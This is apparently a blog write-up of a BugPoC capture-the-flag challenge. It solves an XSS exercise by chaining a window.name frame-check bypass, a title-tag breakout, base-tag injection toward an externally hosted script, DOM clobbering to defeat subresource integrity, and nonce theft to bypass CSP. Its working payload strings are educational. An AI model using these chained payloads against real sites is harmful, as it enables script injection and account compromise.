BugPoC XSS Challenge

holme
The Startup
Published in
7 min readNov 10, 2020

Just show me the solution already!
Fair enough, here you go:
PoC URL: https://bugpoc.com/poc#bp-yWlmd3py
Password: RushFROG09

On 11/04, BugPoC’s latest contribution to their CTF collection kicked off. I was eagerly waiting for the challenge to go live and finally, a tweet came in:

The rules were as follows:

1. You must alert(origin) showing https://wacky.buggywebsite.com
2. You must bypass CSP
3. It must be reproducible using the latest version of Chrome
4. You must provide a working proof-of-concept on bugpoc.com

Cool site, what can it do?

I quickly visited the site, and was met with the following:

The functionality of the page was to make user-supplied text ‘whacky’. I brought up one of my best friends, chrome’s developer tool, and noticed the ‘whacky’ result was displayed in an iframe:

This was also confirmed by looking into the only script loaded on the page, script.js:

Interestingly, the user-supplied text was passed to the iframe as a GET parameter ‘param’.

My next step was to open up /frame.html, but BugPoC wasn’t going to let me view the page that easy:

Well, can we just load the page in an iframe on our own page then?

X-frame-options: SAMEORIGIN

Nope.

Hmm, how is the check performed to determine whether the page is embedded in an iframe or not? I opened up the developer tool again and saw this line in a script tag on the page:

Seeing this line formed a smile on my face. If you’ve followed LiveOverflow, you know why:

As LiveOverflow explains in his YouTube video, the value of window.name persists across websites (read more here). This means we could set the value of window.name to the string “iframe” on our own website, and then load wacky.buggywebsite.com/frame.html effectively bypassing the check!

Let’s start testing

Let’s try this with the following simple code:

window.name="iframe";
window.location.href="https://wacky.buggywebsite.com/frame.html?param=pleasemakemewhacky"

And sure enough, the page loads without showing the error!

Cool, now let’s pop an XSS. If we just set the ‘param’ parameter to one of our favorites XSS payloads and…

Well, it doesn’t seem like we’re done yet. Our payload isn’t even parsed as HTML. Or is it? Always remember to look for ALL the places your payload is reflected in. And yup, our payload is also reflected in the title tag:

payload: <img src=x onerror=alert(origin)>

But was does that matter? It’s still escaped properly. Right..? Well, if you’ve ever tried to have your payload reflected in the title tag, you know that you should try and close the tag before concluding that the payload actually is escaped:

payload: </title></head><img src=x onerror=alert(origin)>

Yay! It worked! But wait… Where’s our beloved alert box? Let’s check the developer console:

Content Security Policy strikes

Hi there CSP!

And welcome to CSP… The error tells us that we can either:
1. Change the CSP policy (which will be a bit difficult in our case)
2. Do something with a hash (more on this later)
3. Use a nonce

Looking at the source code of the page, we can see that the scripts use the nonce attribute. The nonce value is randomly generated and we can’t guess it, so let’s try to take another approach to overcome the CSP policy.

A script tag using the nonce attribute

Let’s use Google’s CSP Evaluator to see what we’re up against:

Thanks, Google! Seems like we might be able to bypass the page’s CSP policy using the base tag. But does the page even use any relative URL’s? Let’s look at the page’s source code again:

Yes! As seen on line 203, there is one place where a relative URL is used. So let’s host a script and pop an alert! To do so I’ll use BugPoC’s awesome tools Mock Endpoint to host some Javascript and Flexible Redirector to create a 302 redirect to our endpoint, which will work no matter the path it’s accessed from (and subdomain). I used the following settings (notice the headers) for the mock endpoint:

Remember to set the Access-Control-Allow-Origin header!

Our exploit is now:

window.name="iframe";
window.location.href="https://wacky.buggywebsite.com/frame.html?param=</title></head><base href=//<YOUR_ID>.redir.bugpoc.ninja>"

But we still don’t see a beautiful pop-up :( Instead, we see the following in the developer console:

SRI-what?

Well well well. Seems like we have yet another obstacle to overcome. The problem we face is the page’s use of Subresource Integrity (SRI). Quickly explained, SRI works by providing a base64-encoded cryptographic hash in the ‘integrity’ attribute of a script tag. The hash is calculated using the content of the script meant to be loaded and is then used upon loading a script to check if the script being loaded has the expected content and blocks execution if that isn’t the case.

So how is this hash value set? Well, let’s look at the code again:

Ok cool, but what is this ‘fileIntegrity.value’ thing?

Well, how on earth can we influence the value of this object? Wait a moment. How is it again that window object works… Well, an element with an id can be accessed through the window object as so:

window.someCoolId

And what if that element has a value attribute, like an input tag has… I like where this is going¹. If we create an input element with the id ‘fileIntegrity’ and give it a value attribute we might be able to control the value of the hash used in the integrity attribute!

Current exploit:

window.name="iframe";
window.location.href="https://wacky.buggywebsite.com/frame.html?param=</title></head><base href=//<YOUR_ID>.redir.bugpoc.ninja><input id=fileIntegrity value=lol>"
The beautiful moment of sha256-lol

Yes! We can see that we’ve now successfully taken control over the value of the hash in the integrity attribute. All we need to do now to execute our own script is to calculate the base64 encoded sha-256 hash of our script and provide that as the value of our input element instead of ‘lol’. You can eg. use this tool by LaySent to do so.

Our exploit is now:

window.name="iframe";
window.location.href="https://wacky.buggywebsite.com/frame.html?param=</title><base href=//<YOUR_ID>.redir.bugpoc.ninja/><input id=fileIntegrity value=<YOUR_URL_ENCODED_HASH>"

Now let’s pop that alert!

But I don’t want to be in the sandbox

Really… So we successfully loaded our own script on the page, but the iframe the script is executed in is sandboxed and doesn’t allow us to execute the alert() function.

Photo by Alexander Dummer on Unsplash

Hmm… Could we maybe just do some stuff outside of the sandboxed iframe? How about using parent.document.write() to create an element in the context of the parent window? Let’s change the content of our hosted script to:

parent.document.write("<script>alert(origin);</script>");

Oh well, we’re back where we started:

Content Security Policy strikes… Again

Don’t guess, just read

But wait! As I explained earlier, we can’t guess the nonce value. But what if we don’t need to guess it? And we could just simply read it? We can! We can simply just access the DOM of the parent window and read the value from one of the scripts and then just add our own script with the nonce attribute set to the correct value! Let’s change the content of our hosted script to:

var nonce = parent.document.scripts[0].nonce;
parent.document.write("<script nonce="+nonce+">alert(origin);</script>");

And well:

The feeling of joy

WE DID IT! What a great feeling. Thanks for following along in this journey towards the sacred alert box and thanks to BugPoC for the great challenge!

@holme_sec

[1] Mainly because I’ve already solved the challenge when writing this and know this is the right path to take, but you get my point.

--

--